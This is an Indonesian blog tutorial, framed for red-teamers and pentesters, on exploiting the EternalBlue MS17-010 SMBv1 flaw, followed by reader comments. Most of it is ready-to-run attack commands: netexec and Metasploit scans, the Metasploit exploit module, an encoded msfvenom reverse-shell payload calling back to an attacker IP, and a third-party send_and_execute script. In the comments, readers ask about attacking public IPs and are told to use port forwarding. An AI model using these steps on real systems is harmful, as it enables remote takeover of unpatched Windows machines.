Eternalblue
Eternalblue adalah sebuah exploit yang memanfaatkan celah keamanan, yang menargetkan kerentanan MS17-010 dalam protokol SMBv1. Exploit ini memungkinkan peretas untuk mengambil alih komputer dan menyebarkan malware. Eternalblue merupakan salah satu exploit paling berbahaya dalam sejarah karena memungkinkan peretas untuk menyerang jutaan komputer di seluruh dunia.
System yang Terdampak
- Windows XP (all services pack) (x86) (x64)
- Windows Server 2003 SP0 (x86)
- Windows Server 2003 SP1/SP2 (x86)
- Windows Server 2003 (x64)
- Windows Vista (x86)
- Windows Vista (x64)
- Windows Server 2008 (x86)
- Windows Server 2008 R2 (x86) (x64)
- Windows 7 (all services pack) (x86) (x64)
Deteksi
Dari sudut pandang red-teamer atau pentester, deteksi awal dapat dilakukan menggunakan tools netexec atau modul metasploit. Oh iya, sebagai catatan tambahan, di tutorial ini target yang akan dieksploitasi beralamat di 10.10.82.157. Sehingga kalian bisa sesuaikan sendiri untuk alamat IP targetnya.
Menggunakan NetExec:
netexec smb 10.10.82.157 -u '' -p ''
Nah, dari output diatas terlihat bahwa target adalah Windows 7 Professional, dengan SMBv1 diaktifkan. Artinya target ini rentan.
Atau, cara kedua adalah menggunakan modul dari metasploit.
msfconsole -q use auxiliary/scanner/smb/smb_ms17_010 show options set RHOSTS 10.10.82.157 run

Dari outputnya terlihat kalau target ini kemungkinan rentan terhadap serangan MS17-010 Eternalblue.
Eksploitasi
Oke dan untuk eksploitasinya, sebenarnya ada banyak tools di GitHub yang bisa digunakan. Atau bisa juga menggunakan modul Metasploit.
Menggunakan Metasploit:
use exploit/windows/smb/ms17_010_eternalblue show options set LHOST 10.4.33.242 set RHOSTS 10.10.82.157 run
10.4.33.242 sendiri adalah IP saya atau IP attacker. Jadi silahkan sesuaikan sendiri ya.
Atau, cara kedua, menggunakan tools dari:
- https://github.com/helviojunior/MS17-010
Note: Jika kalian menggunakan Kali Linux ataupun OS terbaru dengan dukungan Python 2 yang sudah ditiadakan, jalankan perintah berikut untuk menambahkan dependensi (impacket module) ke Python 2 terlebih dahulu.
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py python2 get-pip.py pip2 install pip install impacket==0.9.22
Selanjutnya, buat payload menggunakan msfvenom. Shell yang saya buat adalah shell non meterpreter, sehingga untuk back connectnya menggunakan netcat.
msfvenom -p windows/shell_reverse_tcp -f exe -o /tmp/shell.exe -a x86 -e x86/shikata_ga_nai LHOST=10.4.33.242 LPORT=4444
Lalu jalankan exploit Eternalblue menggunakan perintah:
git clone https://github.com/helviojunior/MS17-010 cd MS17-010 python2 send_and_execute.py 10.10.82.157 /tmp/shell.exe
Oke mungkin itu saja sharing kali ini. Silahkan tinggalkan komentar jika ada yang kurang jelas.
Mantavh…
bagus mantaf boleh dicoba nie, sebagai mantan kenshusei jepang harus bisa dunk
salam
Cacat wdhus pitu asu,…….
wkwkwk
Maaf disini net framework buat apaan yah.?
run eternalblue dari wine butuh net framework
bang apakah semua file yg ada di folder exploit eternalbluenya harus di pindahkan ke folder nya metasploit smb, atau hanya file ruby nya saja
file ruby nya aja.
Jossssss
mengapa windows 8.1 dan windows 10 ga bisa? windows 7 pun harus menaklukan net framework 4.5.2 kalo mau exploit kwkwkwkwkwkw
maksudnya gimana. ini kan eksploitasi service smb v1. net framework diatas cuma sebagai pembuat payload nya aja.
kalo nembaknya ip public gmn om? apa sama saja cuma ganti targetnya pk ip public? atau ada yg lainnya yg harus di setup?
port forwarding
TUTOR GEBLEK CACAT ASUUUUUUUUUUUUUUUUUUUUUUU
sudah terintegrasi dengan metasploit yak gans? kalo bisa mah coba exploit asli nya yang dari shadowbroker
itu file di github nya sambil di cek lah
bang kalo kita eksekusi di ip dinamis bisa gak? ini gak kaya backconnect kan?
kalo targetnya diluar jaringan ya harus publik aja ip nya. sama aja kayak back connect
Bisa diperjelas gan bc pk ip dinamis nya? Misal pakai indihome atau modem 3g ane koq failed to bind terus ke local portnya and Kalo payloads ya diganti exec cmd rubynya socket error terus…udah coba test di www? Maksudnya bukan offline dilocalhost gt